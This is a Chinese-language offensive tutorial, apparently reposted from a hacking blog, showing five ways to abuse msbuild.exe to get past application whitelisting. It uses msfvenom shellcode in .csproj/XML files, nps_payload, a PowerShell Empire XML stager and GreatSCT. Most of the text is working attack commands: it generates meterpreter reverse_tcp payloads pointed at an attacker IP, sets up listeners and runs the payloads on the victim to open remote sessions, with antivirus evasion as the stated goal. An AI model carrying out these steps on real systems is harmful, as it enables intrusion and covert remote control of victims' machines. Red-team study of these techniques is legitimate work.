使用msbuild.exe绕过应用程序白名单(多种方法)
一、MSbuild.exe简介
Microsoft Build Engine是一个用于构建应用程序的平台。此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。。
Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(.csproj, .vbproj, .vcxproj和其他)包含MSBuild XML代码。
二、攻击方法
1.第一种方法:使用Msfvenom生成CSharp文件
我们使用Microsoft Visual Studio创建带有*.csproj后缀的C#(C Sharp)编程项目,该后缀以msbuild格式保存,以便使用msbuild平台将其编译为可执行程序。
在恶意程序的生成并执行下,我们可以获得受害者主机的反向shell。因此,现在我们将生成file.csproj文件,为此,首先通过msfvenom生成c#的shellcode。然后,shellcode将被放入到我们的file.csproj中,如下所示
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport= -f csharp

上面生成的shellcode应该放在XML文件中,你可以从GitHub下载这个XML文件,它有被MSBuild编译和执行的代码。此XML文件应保存为file.csproj,并且必须通过MSBuild运行才能获得Meterpreter会话。
注意:从C#shellcode中替换shellcode值,然后将buf重命名为shellcode,如下图所示:

可以从Visual Studio或命令窗口运行msbuild。通过使用Visual Studio,您可以在.NET框架的任意一个版本上运行编译一个应用程序。
例如,您可以在32位平台上的.NET Framework 2.0上运行编译应用程序,并且您可以在64位平台上的.NET Framework 4.5上运行编译相同的应用程序。编译到多个框架的任务被称为多目标。
要了解有关msbuild的更多信息,请阅读此文章链接:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015
现在启动多处理程序以获取meterpreter会话,并使用msbuild.exe在目标路径C:\windows\microsoft.net\framework\v4.0.30319执行file.csproj文件,如图所示:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
注意:您需要在此位置保存恶意exploit(XML/csproj)
C:\windows\microsoft.net\framework\v4.0.30319\,然后使用命令提示符执行此文件

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport
msf exploit(multi/handler) > exploit
如您所见,我们将拥有受害者的meterpreter session ,如下所示:

2.第二种方法:生成XML文件以利用MSBuild
如上所述,msbuild使用基于XML的项目文件格式,该格式简单且可扩展,因此我们可以将生成的file.csproj重命名为file.xml,然后在目标路径上使用msbuild.exe再次运行file.xml:c:\windows\microsoft.net\framework\v4.0.30319,如图所示。

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport
msf exploit(multi/handler) > exploit
如您所见,我们将拥有受害者的meterpreter session ,如下所示:

3.第三种方法:Nps_Payload脚本
此脚本将为基本的入侵检测的逃逸生成payload。它利用了来自几个不同来源的公开技术。由Larry Spohn(@spoonman1091)编写,Payload由Ben Mauch(@ben0xa)编写,又名Dirty_Ben。你可以从github下载它。
Nps_payload将生成可以使用msbuild.exe和mshta.exe执行的payload,以通过meterpreter会话获取受害者主机的反向连接。
按照以下步骤生成payload:
- 从GitHub下载nps exploit后,运行./nps_payload.py脚本
- 输入1,然后选择选项“generate msbuild/nps/msfF”
- 再次输入1并选择payload选项“windows / meterpreter / reverse_tcp”
这将在XML文件中生成payload,在目标位置C:\windows\microsoft.net\framework\v4.0.30319中发送此文件,与前面的方法相同,并在新终端中同时运行下面的命令以启动侦听器。
msfconsole -r msbuild_nps.rc

现在重复上面的步骤,使用命令提示符执行msbuild_nps.xml,并通过meterpreter获取反向连接,如下所示:

4.第四种方法:PowerShell Empire
对于我们的下一个msbuild攻击方法,我们将使用empire。empire是一款后开发框架。到目前为止,我们已经将我们的XML工具与Metasploit匹配,但在这种方法中,我们将使用empire框架。它只是基于python的PowerShell windows代理,这使得它非常有用。Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier开发。您可以从https://github.com/EmpireProject/Empire下载此框架。
要获得empire的基本指南,请访问我们的文章:
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。所以要设置一个侦听器类型
listeners
uselistner http
set Host http://192.168.1.107
execute
使用上述命令,您将拥有一个活动的侦听器。输入back以退出侦听器,以便启动PowerShell。
对于我们的msbuild攻击,我们将使用stager。empire中的stager是一段代码段,它允许我们的恶意代码通过被感染主机上的代理运行。因此,对于这种类型,请输入以下命令:
usestager windows/launcher_xml
set Listener http
execute
usestager将创建一个恶意代码文件,该文件将保存在名为launcher.xml的/tmp中。

一旦文件运行,我们将在侦听器上获得结果。通过键入以下命令运行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml

要查看是否有会话,请打开输入命令“agents”。这样做将向您显示您拥有的会话的名称。要访问该会话请输入以下命令:
interact A8H14C7L
上面的命令将允许您访问会话
sysinfo

5.第五种方法:GreatSCT
GreatSCT是一款允许您使用Metasploit exploit 并允许它绕过大多数反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。您可以从这里下载:https://github.com/GreatSCT/GreatSCT
下载并执行后,输入以下命令以访问模块:
use Bypass

现在查看payload列表类型:
list

现在,从payload列表中,您可以选择任何目标进行所需的攻击。但对于这次攻击,我们将使用:
use msbuild/meterpreter/rev_tcp.py

执行命令后,输入以下命令:
set lhost 192.168.1.107
generate

在生成payload时,它将要求您为payload提供一个名称。默认情况下,它将以“payload”作为名称。我们将msbuild作为exploit名称,输出代码将保存在XML中。

现在,创建了两个文件。一个Metasploit RC文件和另外一个msbuild.xml文件。
首先,在/usr/share/greatsct output/source中通过输入以下命令启动python的服务器:
python -m SimpleHTTPServer

通过输入以下命令运行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml

同时,使用资源文件启动multi/handler。为此,输入以下命令:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
我们拥有一个meterpreter会话,如图所示:

参考文章:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017
使用msbuild.exe绕过应用程序白名单(多种方法)的更多相关文章
- 使用mshta.exe绕过应用程序白名单(多种方法)
0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...
- 使用regsrv32.exe绕过应用程序白名单(多种方法)
0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...
- 使用rundll32.exe绕过应用程序白名单(多种方法)
0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...
- 使用msiexec.exe绕过应用程序白名单(多种方法)
0x00 前言 在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们.但今天您将学习如何绕 ...
- 使用wmic.exe绕过应用程序白名单(多种方法)
一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...
- 使用cmstp绕过应用程序白名单
默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...
- GreatSct -应用程序白名单bypass工具
0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...
- 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法
1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...
- 将非官方扩展程序加入chrome的白名单
参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...
随机推荐
- 如何把word ppt 思维导图这类文件转化为高清晰度的图片(要干货只看粗体黑字)
我使用思维导图做学习笔记,最终绘制了一张比较满意的思维导图,想要分享出去,但由于现在思维导图软件众多,成品文件格式差别蛮大,不利于传播和打开,所以需要转化为普通图片,但笔者使用的导图软件导出转化成的图 ...
- 我看微软收购GitHub
今天是微软收购GitHub的第三天,之前很多人担心被微软收购的GitHub会步Skype,诺基亚等企业的后尘,凡此种种我觉得更多人的担心是:GitHub不再开源免费罢了. GitHub今年4月刚成立十 ...
- 图解 Go 并发
你很可能从某种途径听说过 Go 语言.它越来越受欢迎,并且有充分的理由可以证明. Go 快速.简单,有强大的社区支持.学习这门语言最令人兴奋的一点是它的并发模型. Go 的并发原语使创建多线程并发程序 ...
- Java 的 java_home, path, classpath
java_home: 指定 jdk 的安装目录. 第三方软件 Eclipse / Tomcat 在 java_home 指定的目录下查找安装好的 jdk. path: 配置 jdk 的安装目录.在命令 ...
- 通过exp命令对Oracle数据库进行备份操作(提供两种情况的备份:备份本地,备份远程的数据库)
exp 用户名/密码@数据库所在ip地址:数据库端口号/数据库的service-name file=存储到的位置 这个是能成功的 http://www.2cto.com/database/201402 ...
- 20172325『Java程序设计』课程 结对编程练习_四则运算第二周阶段总结
20172325『Java程序设计』课程 结对编程练习_四则运算第二周阶段总结 结对伙伴 学号:20172306 姓名:刘辰 结对伙伴博客链接 刘辰同学对编程的积极程度很高,并且在编程能力上很不错,有 ...
- Reaction to 构造之法 of Software Engineering From The First Chapter toThe Fifth Chapter(补充版)
几个星期前,我阅读过一篇文章,一位老师教导自己的学生要积极地去阅读文学文献,其中,我很欣赏他的一句话:“Just think of liturature as if you're reading a ...
- 20181126-java-面试知识-收集
链接:最近面试java后端开发的感受:如果就以平时项目经验来面试,通过估计很难——再论面试前的准备 两本书的链接:Java Web轻量级开发面试教程和Java核心技术及面试指南.
- iOS完整学习路线图-对知识的回顾/整理
第一阶段:语言基础 Mac系统使用.常用UNIX指令.C语言.Objective-C语言.Foundation框架. 第二阶段:iOS基础 AppDelegate & UIApplicatio ...
- tomcat文件中server.xml 实例说明
<?xml version='1.0' encoding='utf-8'?> # 这是server类, 指定一个tomcat的应用实例 <Server port="80 ...